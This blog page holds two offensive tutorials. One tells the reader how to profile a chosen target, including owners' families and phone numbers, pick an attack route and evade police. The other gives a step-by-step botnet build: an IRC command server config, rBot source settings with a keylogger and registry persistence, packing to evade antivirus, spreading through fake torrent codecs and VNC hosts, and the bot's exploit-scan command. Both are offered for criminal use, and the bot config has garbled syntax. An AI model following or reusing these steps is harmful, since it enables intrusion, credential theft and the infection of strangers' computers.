Showing posts with label start. Show all posts
Showing posts with label start. Show all posts

Hacking - Start to finish (quick list)

Hello, this little post will explain in rough details how you start hacking a specific target.

First. There are  many different ways going about this, but this is one way.

Information gathering
The
first thing you want to do when targeting a specific target is get as
much information as possible before a front attack(if any, being quiet
is much better)
Now this step can take ages if you really want a
detailed level of knowledge. And if you are serious about hacking your
target, you should be detailed here.
What sort of information do I
look for you might ask yourself? Well, anything really. Anything
surrounding the target and even things that surround things that
surround your target. Here is a short list of things that might be
useful;
  • IP(s), some machines/domains/systems or whatever have multiple domains
  • ISP(s), if small ISP(s), get owner details here as below
  • Owner. Email, name, location, family, hobby's, Facebook account, phone number
  • *Open ports. On ALL of the ips/servers if there are multiple
  • Service signatures, find out as much as possible about all the open ports, are they in use? What software are they running at the other end? Do the services reveal any other information about the system? OS? Internal IPS?
  • Hosters(In most cases there will be a hosting company)
  • Hosters information - Owner and all of that(If the company is small)
  • Hosters member system, how does the members login? Is there a login? Is there a forgot password function? Can you exploit the hoster instead?(might be easier in some cases)
  • DNS records(if any), subdomains? Hidden domains/info? DNS hosters? Same as above.
  • The physical server(s) location / datacenter
And the list goes on and on and on. Literally EVERYTHING about the company/system/server/target are relevant. The more info you got, the easier it will be attacking him/her/them/it. You should decide if you want to target the system or the people of your target. That is, code/system flaws or human flaws(keyloggers, Trojans, social engineering, info gathering + password guessing, etc). This decision should depend on the information you find about your target. Both can be tried ofcourse, just make sure the target does not know you are trying to hack it, often one of the attempts will set off alerts. This whole information gathering part might seem unnecessary, but really. Its neat, lets you put things in perspective so you can find the best point of entry. The attack Before an attack is lunched, there are a few things you need to think about. Here is a list of things you should think about;
  • Will this company/target rage crazy if I hack them? If so, check 3rd point.
  • Will police or other agencies be contacted if I hack them? If so, check 3rd point.
  • *Is my privacy good enough? Are you behind a proxy(s)? Should you? Do the proxy log?(It shouldn't)
  • Are they running any services at all? If not, you don't really have any virtual way in..
  • Are they running web applications? These are typically easier to hack than services. And have a higher percentage rate of flaws.
  • Do the target got a open router/switch/modem system? This often happens with home computers/networks.
  • Are your target running platforms with logins? These could be targeted.
  • Do you have enough time? Its a good practice to have time enough to do the entire attack in one go. Else you might fire off warnings for the target, and he can go into a bombshelter Board Image We don't want that now, do we?

Now there are tree ways of attacking in this guide.
- Service/software exploitation
- Web application exploitation
- Human factor exploitation


Service/software exploitation
Here
you will exploit one or more services/programs running on the target
system. In most cases, this will be called bufferoverflow. This can do
everything from bypassing a login to give you instant shell access. In
scenarios where the target is running services which is not a web
server(can be tho) this might be the way to go.

Web application exploitation
This
is without a doubt the most vulnerable field. Web applications are
flawfull, 70% or so of all pages got some sort of web application flaw,
this ofc may vary from an stupid XSS to a serious RFI. In scenarios
where the target system are running a web server, this is the first
thing to check. Do always check web applications before going on to
service exploitation if you just want to get the target hacked.

Human factor exploitation
Now
if all other things fail, there is ALWAYS a human factor. This can be
social engineering the target to give you limited access, and you work
your way up from there. Or simply tricking the target to trust you and
in some strange way share his password, perhaps not for the system you
are targeting, but for his email or an online account or whatever,
stupid people tend to use the same password or the same password syntax
everywhere. Keep in mind that the human factor doesn't necessarily have
to be your targets owner, could be the hoster, the DNS hoster, the ISP,
family.


Finale note
If you think its
necessary, clear your tracks. If you ask me, if you can see that you
have been there you didn't do it right. Take care, be safe.

-----------------------

How To Start A Botnet

Well since many beginners want to know how botnet and stuff works, im
create a little tutorial for the beginners on this site. The tutorial
includes how to install a ircd, how to compile a bot & ways to
"Chapters"

1. What is needed

2. How to configure an (unreal)ircd

3. How to compile your bot

4. Make your exe UD

5. Ways of spreading.



Before I begin, my english isn't 100% good, i'll try to translate
everything as good as possible, sorry for false lines or words.



1. What is needed

There are many things which are needed for creating a botnet. I'll make a
list of stuff which is needed for botnets and explain why they are
needed.



- Visual Studio 6.0 ( Download )

- Visual Studio 6 Service Pack 5 ( Download )

- Visual Studio 6.0 Processor Pack ( Download )

- Core SDK ( Download, Safe them somewhere do cmd, cd Directoryoffile and use psdk-full Directoryofoutput)

For a tutorial to install all the things up here go to here[/]



- a rooted windows box (Linux can be done also but im telling about windows)

- a ircd (There are some at this forum search yourself)

- a botsource (I used rBot for example, find some old ones here: Download



Well that was it I think?









2. How to configure an (unreal)ircd

Most ircd's are really easy to configurate, especially modded ones. Most
of the times you only have to edit the name, the authost, the ircd port
& the admin user&pass. What do we have to edit:

Code:

oper your-choosen-username { // Edit your choosen name to a username you want

from {

userhost "yourname@*"; // Edit your name to your emailaddres

};

password "your-choosen-pass"; // Edit your choosen pass to a password you want

class "default";

flags {

netadmin;

services-admin;

global;

helpop;

can_rehash

can_globalnotice;

can_globalroute;

can_globops;

can_wallops;

can_unkline;

can_kline;

can_globalkill;

can_zline;

can_gkline;

can_gzline;

get_umodew;

get_host;

can_override;

can_die;

can_restart;

};

};



Edit the flags here above, if you want to add more ircds owners just copy paste this shit





Code:



me { name "Black-listed"; info "LEthalcode"; numeric 1; };



Here is the Server name, name can be "irc.cybersecurity.in", information is just some info





Code:

listen *:6667;

easily edit the port to a port which is open, most ports from 6500 -> 7000 are open







Some extra things to edit

Code:

hosts {

local "Team-blacklisted";

global "Team-blacklisted";

coadmin "Team-blacklisted";

admin "Team-blacklisted";

servicesadmin "Team-blacklisted";

netadmin "Team-blacklisted";

host-on-oper-up "yes";

};

};



The sethost's you get if you oper, like lethalcode@local.cybersecurity.in/ lethalcode@global.cybersecurity.in
And just put "no" in host-on-oper-up if you don't want to get an auto-host selected.





Code:

restrict-channelmodes "lethalcode";

modes-on-join "+lethalcode";



Edit this to your own options to make your channel secure for you







Now just safe the cfg, and your done with the config. Rar the files and
uplaod it to somewhere. What you gotta do now is open a windows box (on
vnc??) and download the files and place them in a secure folder, like
C:Windows?. then just run the exe which allows to start the ircd, or run
the batch file which is most there in the modded ircds, you'll see the
ircd is running. Don't forget to set a password on the VNC so no-one can
catch your oper user&pass, secure all the ports so your botnet
don't get sniffed.



Were done with this one now too.









3. How to compile your bot

You probally found a rBot source you like by now, in the url I gave you
there were many sources, I've picked a rBot, which is a good bot to
start with since it got all standard functions & scanners and it's
the easiest bot. ill copy and paste the config and will explain what to
do.

Code:



// bot configuration (generic) - doesn't need to be encrypted

int port = 6667;

int port2 = 6667;

int socks4port = 8001;

int tftpport = 69;

int httpport = 5465;

int rloginport = 514;

BOOL topiccmd = TRUE;

BOOL rndfilename = FALSE;

BOOL AutoStart = TRUE;

char prefix = '.';

int maxrand = 8;

int nicktype = CONSTNICK;

BOOL nickprefix = FALSE;



#ifdef DEBUG_LOGGING

char logfile[]="%temp%yas.jpg";

#endif



#ifndef NO_CRYPT // Only use encrypted strings or your binary will not be secure!!



#else // Recommended to use this only for Crypt() setup, this is unsecure.



char botid[] = "rx-asn-2-re-worked";

char version[] = "v2 by ovelayer";

char password[] = "yourpass";

char server[] = "";

char serverpass[] = "";

char channel[] = "#";

char chanpass[] = "";rd

char server2[] = ""

char channel2[] = "#";

char chanpass2[] = "";

char filename[] = "yourfile.exe";

char keylogfile[] = "keylog.xml"l

char valuename[] = "";

char nickconst[] = "rBot|";

char szLocalPayloadFile[]="yourfile.exe";

char modeonconn[] = "-xi+B";

char exploitchan[] = "#*";

char keylogchan[] = "#*";

char psniffchan[] = "#*";



char *authost[] = {

"yournick@172.0.0.1"

};



char *versionlist[] = {

"mIRC v6.12 Khaled Mardam-Bey",

};



char regkey1[]="SoftwareMcftWindowsCurrentVersionRun";

char regkey2[]="SoftwareMcftWindowsCurrentVersionRunServices" ;

char regkey3[]="SoftwareMcftOLE";

char regkey4[]="SYSTEMCurrentControlSetControlLsa";



#endif



#ifdef PLAIN_CRYPT

char key[16] = "39lwmmqopma24ik1"; // CHANGE THIS!!! hmmm..Do I even need this now?

#endif







1. Change the port to the port of your ircd, normally it's 6667, if you got else, just change them.

2. Change the prefix, normally its ".", thats what you have to use before the command so like ".login yourpass".

3. the password, change it to login to your bot ".login unknownpass"

4. the serverpassword, probally you ain't got one but if so edit there.

5. the server, add your IP/DNS There.

6. Your channel, edit your channel where the bots got to join.

7. Your chanpass, change it to be more secure.

8. leave the server 2 of rbot, cuz the code of that thing doesn't work.

9. Change the filename so it won't get killed easily by a user because it's a suspicious virus.

10. the file where the computers puts his keylog shit in, not needed actually.

11. value name, so if your exe is called nod32, then the valuename = Nod32 AntiVirus or something

12. nickconst is the prefix before a bot. like rBot|12312312

13. the modes on connect, you can leave that as it is.

14. exploit channel, if the bot is spreading it will leave it exploit message's there.

15. The keylog & psniff channel, it will send the pstore &
keylog messages, but PSNIFF isn't working in rBot so ~censored~ that

16. The authost, you can set your authost like g7onic@*, that will
require you to have a nicname with all hosts, you can set
*@anonym0us.eu, that will require you to have your host set like
anonym0us.eu and you have to most secure one: lethalcode@anonym0us.eu this requires you the nickname & the host!.

17. Leave the rest as it is.



Ask for questions, but I think this help you out.



4. Make your exe UD.

Before you start with everything you got to secure your exe, there are
packers for, it's hard to get a good packer at this moment, but you can
use some public ones which make you exe detected for nod32, kasperspy
etc (the big antivirus company's). Your file got to be small so it's
easy to spread to other rooted boxes, but also undetected, otherwise a
antivirus detect it.



5. Ways of spreading

Their are many different types of spreading, you need bots to start with
before you can spread via exploits which are in your bots. There are
different ways to get your bots, you can easily ask a mate to let his
bots download some bots to your exe which allows you to start a bnet,
but you can also spread via torrent just make a torrent with a movie and
your exe as "codec" or something, or scan for some vnc's and infect
them easily opening ie and open exe (REMOVE HISTORY!).



If you got some bots ( upper 30 bots ) you can start spreading, your
bots have different types of exploits in it, asn1smb, lsass, dcom and
all standard exploits, Since these are old they won't spread fast, but
some of them still work okay on the right range. the standard command to
scan with your bots is .advscan exploit <Threads> <seconds>
<delay> ip range <flags (use -b-r) so like .advscan asn1smb 80
5 0 255.255.x.x -b -r.

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | coupon codes